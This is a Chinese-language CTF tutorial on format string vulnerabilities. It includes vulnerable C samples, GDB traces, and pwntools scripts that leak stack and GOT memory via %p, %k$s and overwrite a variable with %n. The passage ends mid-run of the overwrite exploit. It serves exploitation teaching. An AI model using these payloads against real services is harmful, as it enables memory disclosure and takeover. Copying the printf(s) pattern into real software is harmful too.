格式化字符串漏洞

文章参考:格式化字符串函数
视频参考:B站——【pwn】CTF学习:11、格式化字符串漏洞——yichen小菜鸡

原理

格式化字符串函数是根据格式化字符串来进行解析的 。那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制。

在这里插入图片描述
对于这样的例子,在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下

some value
3.14
123456
addr of "red"
addr of format string: Color %s...

注:这里我们假设 3.14 上面的值为某个未知的值。

在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况

  • 当前字符不是 %,直接输出到相应标准输出。
  • 当前字符是 %, 继续读取下一个字符

如果没有字符,报错
如果下一个字符是 %, 输出 %
否则根据相应的字符,获取相应的参数,对其进行解析并输出

那么假设,此时我们在编写程序时候,写成了下面的样子

printf("Color %s, Number %d, Float %4.2f");

此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为

 1、解析其地址对应的字符串
 2、解析其内容对应的整形值
 3、解析其内容对应的浮点值

对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。

这基本就是格式化字符串漏洞的基本原理了。

利用

其实,在上一部分,我们展示了格式化字符串漏洞的两个利用手段

  • 使程序崩溃,因为 %s 对应的参数地址不合法的概率比较大。(程序崩溃)
  • 查看进程内容,根据 %d,%f 输出了栈上的内容。(内容泄露)

程序崩溃

通常来说,利用格式化字符串漏洞使得程序崩溃是最为简单的利用方式,因为我们只需要输入若干个 %s 即可

%s%s%s%s%s%s%s%s%s%s%s%s%s%s

这是因为栈上不可能每个值都对应了合法的地址,所以总是会有某个地址可以使得程序崩溃。这一利用,虽然攻击者本身似乎并不能控制程序,但是这样却可以造成程序不可用。比如说,如果远程服务有一个格式化字符串漏洞,那么我们就可以攻击其可用性,使服务崩溃,进而使得用户不能够访问。

泄露内存

利用格式化字符串漏洞,我们还可以获取我们所想要输出的内容。一般会有如下几种操作

  • 泄露栈内存
    • 获取某个变量的值
    • 获取某个变量对应地址的内存
  • 泄露任意地址内存
    • 利用 GOT 表得到 libc 函数地址,进而获取 libc,进而获取其它 libc 函数地址
    • 盲打,dump 整个程序,获取有用信息。

泄露栈内存

例如,给定如下程序

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

然后,我们简单编译一下

➜  leakmemory git:(master) ✗ gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c
leakmemory.c: In function ‘main’:
leakmemory.c:7:10: warning: format not a string literal and no format arguments [-Wformat-security]
   printf(s);
          ^

可以看出,编译器指出了我们的程序中没有给出格式化字符串的参数的问题。下面,我们来看一下,如何获取对应的栈内存。

根据 C 语言的调用规则,格式化字符串函数会根据格式化字符串直接使用栈上自顶向上的变量作为其参数 (64 位会根据其传参的规则进行获取)。这里我们主要介绍 32 位。

获取栈变量数值

首先,我们可以利用格式化字符串来获取栈上变量的数值。我们可以试一下,运行结果如下

➜  leakmemory git:(master) ✗ ./leakmemory
%08x.%08x.%08x
00000001.22222222.ffffffff.%08x.%08x.%08x
ffcfc400.000000c2.f765a6bb

可以看到,我们确实得到了一些内容。为了更加细致的观察,我们利用 GDB 来调试一下,以便于验证我们的想法,这里删除了一些不必要的信息,我们只关注代码段以及栈。

首先,启动程序,将断点下在 printf 函数处

➜  leakmemory git:(master) ✗ gdb leakmemory
gef➤  b printf
Breakpoint 1 at 0x8048330

之后,运行程序

gef➤  r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
%08x.%08x.%08x

此时,程序等待我们的输入,这时我们输入 %08x.%08x.%08x,然后敲击回车,是程序继续运行,可以看出程序首先断在了第一次调用 printf 函数的位置

Breakpoint 1, __printf (format=0x8048563 "%08x.%08x.%08x.%s\n") at printf.c:28
28  printf.c: 没有那个文件或目录.
────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
──────────────────────────────────────────────[ stack ]────
['0xffffccec', 'l8']
8
0xffffccec│+0x00: 0x080484bf  →  <main+84> add esp, 0x20     ← $esp
0xffffccf0│+0x04: 0x08048563  →  "%08x.%08x.%08x.%s"
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd10  →  "%08x.%08x.%08x"
0xffffcd04│+0x18: 0xffffcd10  →  "%08x.%08x.%08x"
0xffffcd08│+0x1c: 0x000000c2

可以看出,此时此时已经进入了 printf 函数中,栈中第一个变量为返回地址,第二个变量为格式化字符串的地址,第三个变量为 a 的值,第四个变量为 b 的值,第五个变量为 c 的值,第六个变量为我们输入的格式化字符串对应的地址。继续运行程序

gef➤  c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x

可以看出,程序确实输出了每一个变量对应的数值,并且断在了下一个 printf 处

Breakpoint 1, __printf (format=0xffffcd10 "%08x.%08x.%08x") at printf.c:28
28  in printf.c
───────────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce  →  <main+99> add esp, 0x10     ← $esp
0xffffcd00│+0x04: 0xffffcd10  →  "%08x.%08x.%08x"
0xffffcd04│+0x08: 0xffffcd10  →  "%08x.%08x.%08x"
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: "%08x.%08x.%08x"   ← $eax
0xffffcd14│+0x18: ".%08x.%08x"
0xffffcd18│+0x1c: "x.%08x"

此时,由于格式化字符串为 %x%x%x,所以,程序 会将栈上的 0xffffcd04 及其之后的数值分别作为第一,第二,第三个参数按照 int 型进行解析,分别输出。继续运行,我们可以得到如下结果去,确实和想象中的一样。

gef➤  c
Continuing.
ffffcd10.000000c2.f7e8b6bb[Inferior 1 (process 57077) exited normally]

当然,我们也可以使用 %p 来获取数据,如下

%p.%p.%p
00000001.22222222.ffffffff.%p.%p.%p
0xfff328c0.0xc2.0xf75c46bb

这里需要注意的是,并不是每次得到的结果都一样 ,因为栈上的数据会因为每次分配的内存页不同而有所不同,这是因为栈是不对内存页做初始化的。

需要注意的是,我们上面给出的方法,都是依次获得栈中的每个参数,我们有没有办法直接获取栈中被视为第 n+1 个参数的值呢?肯定是可以的啦。 方法如下

%n$x

利用如下的字符串,我们就可以获取到对应的第 n+1 个参数的数值。为什么这里要说是对应第 n+1 个参数呢?这是因为格式化参数里面的 n 指的是该格式化字符串对应的第 n 个输出参数,那相对于输出函数来说,就是第 n+1 个参数了。

➜  leakmemory git:(master) ✗ gdb leakmemory
gef➤  b printf
Breakpoint 1 at 0x8048330
gef➤  r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
%3$x

Breakpoint 1, __printf (format=0x8048563 "%08x.%08x.%08x.%s\n") at printf.c:28
28  printf.c: 没有那个文件或目录.

─────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
─────────────────────────────────────────────────────[ stack ]────
['0xffffccec', 'l8']
8
0xffffccec│+0x00: 0x080484bf  →  <main+84> add esp, 0x20     ← $esp
0xffffccf0│+0x04: 0x08048563  →  "%08x.%08x.%08x.%s"
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd10  →  "%3$x"
0xffffcd04│+0x18: 0xffffcd10  →  "%3$x"
0xffffcd08│+0x1c: 0x000000c2
gef➤  c
Continuing.
00000001.22222222.ffffffff.%3$x

Breakpoint 1, __printf (format=0xffffcd10 "%3$x") at printf.c:28
28  in printf.c
─────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
─────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce  →  <main+99> add esp, 0x10     ← $esp
0xffffcd00│+0x04: 0xffffcd10  →  "%3$x"
0xffffcd04│+0x08: 0xffffcd10  →  "%3$x"
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: "%3$x"     ← $eax 
0xffffcd14│+0x18: 0xffffce00  →  0x00000001
0xffffcd18│+0x1c: 0x000000e0
gef➤  c
Continuing.
f7e8b6bb[Inferior 1 (process 57442) exited normally]

可以看出,我们确实获得了 printf 的第 4 个参数所对应的值 f7e8b6bb。

获取栈变量对应字符串

此外,我们还可以获得栈变量对应的字符串,这其实就是需要用到 %s 了。这里还是使用上面的程序,进行 gdb 调试,如下

➜  leakmemory git:(master) ✗ gdb leakmemory
gef➤  b printf
Breakpoint 1 at 0x8048330
gef➤  r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
%s

Breakpoint 1, __printf (format=0x8048563 "%08x.%08x.%08x.%s\n") at printf.c:28
28  printf.c: 没有那个文件或目录.
────────────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────[ stack ]────
['0xffffccec', 'l8']
8
0xffffccec│+0x00: 0x080484bf  →  <main+84> add esp, 0x20     ← $esp
0xffffccf0│+0x04: 0x08048563  →  "%08x.%08x.%08x.%s"
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd10  →  0xff007325 ("%s"?)
0xffffcd04│+0x18: 0xffffcd10  →  0xff007325 ("%s"?)
0xffffcd08│+0x1c: 0x000000c2
gef➤  c
Continuing.
00000001.22222222.ffffffff.%s

Breakpoint 1, __printf (format=0xffffcd10 "%s") at printf.c:28
28  in printf.c
──────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
──────────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce  →  <main+99> add esp, 0x10     ← $esp
0xffffcd00│+0x04: 0xffffcd10  →  0xff007325 ("%s"?)
0xffffcd04│+0x08: 0xffffcd10  →  0xff007325 ("%s"?)
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: 0xff007325 ("%s"?)     ← $eax
0xffffcd14│+0x18: 0xffffce3c  →  0xffffd074  →  "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd18│+0x1c: 0x000000e0
gef➤  c
Continuing.
%s[Inferior 1 (process 57488) exited normally]

可以看出,在第二次执行 printf 函数的时候,确实是将 0xffffcd04 处的变量视为字符串变量,输出了其数值所对应的地址处的字符串。

当然,并不是所有这样的都会正常运行,如果对应的变量不能够被解析为字符串地址,那么,程序就会直接崩溃。

此外,我们也可以指定获取栈上第几个参数作为格式化字符串输出,比如我们指定第 printf 的第 3 个参数,如下,此时程序就不能够解析,就崩溃了。

➜  leakmemory git:(master) ✗ ./leakmemory
%2$s
00000001.22222222.ffffffff.%2$s
[1]    57534 segmentation fault (core dumped)  ./leakmemory

技巧补充:

1、利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
2、利用 %s 来获取变量所对应地址的内容,只不过有零截断。
3、利用 %order x 来获取指定参数的值,利用 x 来获取指定参数的值,利用 %order x来获取指定参数的值,利用s 来获取指定参数对应地址的内容。

泄露任意地址内存

可以看出,在上面无论是泄露栈上连续的变量,还是说泄露指定的变量值,我们都没能完全控制我们所要泄露的变量的地址。这样的泄露固然有用,可是却不够强力有效。有时候,我们可能会想要泄露某一个 libc 函数的 got 表内容,从而得到其地址,进而获取 libc 版本以及其他函数的地址,这时候,能够完全控制泄露某个指定地址的内存就显得很重要了。那么我们究竟能不能这样做呢?自然也是可以的啦。

我们再仔细回想一下,一般来说,在格式化字符串漏洞中,我们所读取的格式化字符串都是在栈上的(因为是某个函数的局部变量,本例中 s 是 main 函数的局部变量)。那么也就是说,在调用输出函数的时候,其实,第一个参数的值其实就是该格式化字符串的地址。我们选择上面的某个函数调用为例

Breakpoint 1, __printf (format=0xffffcd10 "%s") at printf.c:28
28  in printf.c
──────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
──────────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce  →  <main+99> add esp, 0x10     ← $esp
0xffffcd00│+0x04: 0xffffcd10  →  0xff007325 ("%s"?)
0xffffcd04│+0x08: 0xffffcd10  →  0xff007325 ("%s"?)
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: 0xff007325 ("%s"?)     ← $eax
0xffffcd14│+0x18: 0xffffce3c  →  0xffffd074  →  "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd18│+0x1c: 0x000000e0

可以看出在栈上的第二个变量就是我们的格式化字符串地址 0xffffcd10,同时该地址存储的也确实是 “%s” 格式化字符串内容。

那么由于我们可以控制该格式化字符串,如果我们知道该格式化字符串在输出函数调用时是第几个参数,这里假设该格式化字符串相对函数调用为第 k 个参数。那我们就可以通过如下的方式来获取某个指定地址 addr 的内容。

addr%k$s

注: 在这里,如果格式化字符串在栈上,那么我们就一定确定格式化字符串的相对偏移,这是因为在函数调用的时候栈指针至少低于格式化字符串地址 8 字节或者 16 字节。

下面就是如何确定该格式化字符串为第几个参数的问题了,我们可以通过如下方式确定

[tag]%p%p%p%p%p%p...

一般来说,我们会重复某个字符的机器字长来作为 tag,而后面会跟上若干个 %p 来输出栈上的内容,如果内容与我们前面的 tag 重复了,那么我们就可以有很大把握说明该地址就是格式化字符串的地址,之所以说是有很大把握,这是因为不排除栈上有一些临时变量也是该数值。一般情况下,极其少见,我们也可以更换其他字符进行尝试,进行再次确认。这里我们利用字符’A’作为特定字符,同时还是利用之前编译好的程序,如下

➜  leakmemory git:(master) ✗ ./leakmemory
AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
00000001.22222222.ffffffff.AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
AAAA0xffaab1600xc20xf76146bb0x414141410x702570250x702570250x702570250x702570250x702570250x702570250x702570250x70250xffaab2240xf77360000xaec7%

由 0x41414141 处所在的位置可以看出我们的格式化字符串的起始地址正好是输出函数的第 5 个参数,但是是格式化字符串的第 4 个参数。我们可以来测试一下

➜  leakmemory git:(master) ✗ ./leakmemory
%4$s
00000001.22222222.ffffffff.%4$s
[1]    61439 segmentation fault (core dumped)  ./leakmemory

可以看出,我们的程序崩溃了,为什么呢?这是因为我们试图将该格式化字符串所对应的值作为地址进行解析,但是显然该值没有办法作为一个合法的地址被解析,,所以程序就崩溃了。具体的可以参考下面的调试。

 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
───────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcd0c', 'l8']
8
0xffffcd0c│+0x00: 0x080484ce  →  <main+99> add esp, 0x10     ← $esp
0xffffcd10│+0x04: 0xffffcd20  →  "%4$s"
0xffffcd14│+0x08: 0xffffcd20  →  "%4$s"
0xffffcd18│+0x0c: 0x000000c2
0xffffcd1c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd20│+0x14: "%4$s"     ← $eax
0xffffcd24│+0x18: 0xffffce00  →  0x00000000
0xffffcd28│+0x1c: 0x000000e0
───────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7e44670 → Name: __printf(format=0xffffcd20 "%4$s")
[#1] 0x80484ce → Name: main()
────────────────────────────────────────────────────────────────────────────────
gef➤  help x/
Examine memory: x/FMT ADDRESS.
ADDRESS is an expression for the memory address to examine.
FMT is a repeat count followed by a format letter and a size letter.
Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),
  t(binary), f(float), a(address), i(instruction), c(char), s(string)
  and z(hex, zero padded on the left).
Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).
The specified number of objects of the specified size are printed
according to the format.

Defaults for format and size letters are those previously used.
Default count is 1.  Default address is following last thing printed
with this command or "print".
gef➤  x/x 0xffffcd20
0xffffcd20: 0x73243425
gef➤  vmmap
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x08049000 0x0804a000 0x00000000 r-- /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x0804a000 0x0804b000 0x00001000 rw- /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x0804b000 0x0806c000 0x00000000 rw- [heap]
0xf7dfb000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fad000 0x001af000 r-- /lib/i386-linux-gnu/libc-2.23.so
0xf7fad000 0xf7fae000 0x001b1000 rw- /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7fb1000 0x00000000 rw-
0xf7fd3000 0xf7fd5000 0x00000000 rw-
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rw-
0xf7ffc000 0xf7ffd000 0x00022000 r-- /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rw- /lib/i386-linux-gnu/ld-2.23.so
0xffedd000 0xffffe000 0x00000000 rw- [stack]
gef➤  x/x 0x73243425
0x73243425: Cannot access memory at address 0x73243425

显然 0xffffcd20 处所对应的格式化字符串所对应的变量值 0x73243425 并不能够被改程序访问,所以程序就自然崩溃了。

那么如果我们设置一个可访问的地址呢?比如说 scanf@got,结果会怎么样呢?应该自然是输出 scanf 对应的地址了。我们不妨来试一下。

首先,获取 scanf@got 的地址,如下

gef➤  got

/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory:     文件格式 elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ffc R_386_GLOB_DAT    __gmon_start__
0804a00c R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

下面我们利用 pwntools 构造 payload 如下

from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()

其中,我们使用 gdb.attach(sh) 来进行调试。当我们运行到第二个 printf 函数的时候 (记得下断点),可以看到我们的第四个参数确实指向我们的 scanf 的地址,这里输出

 → 0xf7615670 <printf+0>       call   0xf76ebb09 <__x86.get_pc_thunk.ax>
   ↳  0xf76ebb09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf76ebb0c <__x86.get_pc_thunk.ax+3> ret
      0xf76ebb0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf76ebb10 <__x86.get_pc_thunk.dx+3> ret
───────────────────────────────────────────────────────────────────[ stack ]────
['0xffbbf8dc', 'l8']
8
0xffbbf8dc│+0x00: 0x080484ce  →  <main+99> add esp, 0x10     ← $esp
0xffbbf8e0│+0x04: 0xffbbf8f0  →  0x0804a014  →  0xf76280c0  →  <__isoc99_scanf+0> push ebp
0xffbbf8e4│+0x08: 0xffbbf8f0  →  0x0804a014  →  0xf76280c0  →  <__isoc99_scanf+0> push ebp
0xffbbf8e8│+0x0c: 0x000000c2
0xffbbf8ec│+0x10: 0xf765c6bb  →  <handle_intel+107> add esp, 0x10
0xffbbf8f0│+0x14: 0x0804a014  →  0xf76280c0  →  <__isoc99_scanf+0> push ebp  ← $eax
0xffbbf8f4│+0x18: "%4$s"
0xffbbf8f8│+0x1c: 0x00000000

运行

➜  leakmemory git:(master) ✗ python exploit.py
[+] Starting local process './leakmemory': pid 65363
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
0x804a014
\x14\xa0\x0%4$s
[*] running in new terminal: /usr/bin/gdb -q  "/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory" 65363
[+] Waiting for debugger: Done
0xf76280c0
[*] Switching to interactive mode
[*] Process './leakmemory' stopped with exit code 0 (pid 65363)
[*] Got EOF while reading in interactiv

我们确实得到了 scanf 的地址。

但是,并不是说所有的偏移机器字长的整数倍,可以让我们直接相应参数来获取,有时候,我们需要对我们输入的格式化字符串进行填充,来使得我们想要打印的地址内容的地址位于机器字长整数倍的地址处,一般来说,类似于下面的这个样子。

[padding][addr]

覆盖内存

上面,我们已经展示了如何利用格式化字符串来泄露栈内存以及任意地址内存,那么我们有没有可能修改栈上变量的值呢,甚至修改任意地址变量的内存呢? 答案是可行的,只要变量对应的地址可写,我们就可以利用格式化字符串来修改其对应的数值。这里我们可以想一下格式化字符串中的类型

%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

通过这个类型参数,再加上一些小技巧,我们就可以达到我们的目的,这里仍然分为两部分,一部分为覆盖栈上的变量,第二部分为覆盖指定地址的变量。

这里我们给出如下的程序来介绍相应的部分。

/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

makefile 在对应的文件夹中。而无论是覆盖哪个地址的变量,我们基本上都是构造类似如下的 payload

...[overwrite addr]....%[overwrite offset]$n

其中… 表示我们的填充内容,overwrite addr 表示我们所要覆盖的地址,overwrite offset 地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。所以一般来说,也是如下步骤

  • 确定覆盖地址
  • 确定相对偏移
  • 进行覆盖

覆盖栈内存

确定覆盖地址

首先,我们自然是来想办法知道栈变量 c 的地址。由于目前几乎上所有的程序都开启了 aslr 保护,所以栈的地址一直在变,所以我们这里故意输出了 c 变量的地址。

确定相对偏移

其次,我们来确定一下存储格式化字符串的地址是 printf 将要输出的第几个参数 ()。 这里我们通过之前的泄露栈变量数值的方法来进行操作。通过调试

 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcd0c', 'l8']
8
0xffffcd0c│+0x00: 0x080484d7  →  <main+76> add esp, 0x10     ← $esp
0xffffcd10│+0x04: 0xffffcd28  →  "%d%d"
0xffffcd14│+0x08: 0xffffcd8c  →  0x00000315
0xffffcd18│+0x0c: 0x000000c2
0xffffcd1c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd20│+0x14: 0xffffcd4e  →  0xffff0000  →  0x00000000
0xffffcd24│+0x18: 0xffffce4c  →  0xffffd07a  →  "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd28│+0x1c: "%d%d"     ← $eax

我们可以发现在 0xffffcd14 处存储着变量 c 的数值。继而,我们再确定格式化字符串’%d%d’的地址 0xffffcd28 相对于 printf 函数的格式化字符串参数 0xffffcd10 的偏移为 0x18,即格式化字符串相当于 printf 函数的第 7 个参数,相当于格式化字符串的第 6 个参数。

进行覆盖

这样,第 6 个参数处的值就是存储变量 c 的地址,我们便可以利用 %n 的特征来修改 c 的值。payload 如下

[addr of c]%012d%6$n

需要16个字节才能改为16
addr of c 的长度为 4,故而我们得再输入 12 个字符才可以达到 16 个字符,以便于来修改 c 的值为 16。

具体脚本如下

def forc():
    sh = process('./overwrite')
    c_addr = int(sh.recvuntil('\n', drop=True), 16)
    print hex(c_addr)
    payload = p32(c_addr) + '%012d' + '%6$n'  #一开始c的地址就是在第六个参数上
    print payload
    #gdb.attach(sh)
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()

forc()

结果如下

➜  overwrite git:(master) ✗ python exploit.py
[+] Starting local process './overwrite': pid 74806
0xfffd8cdc
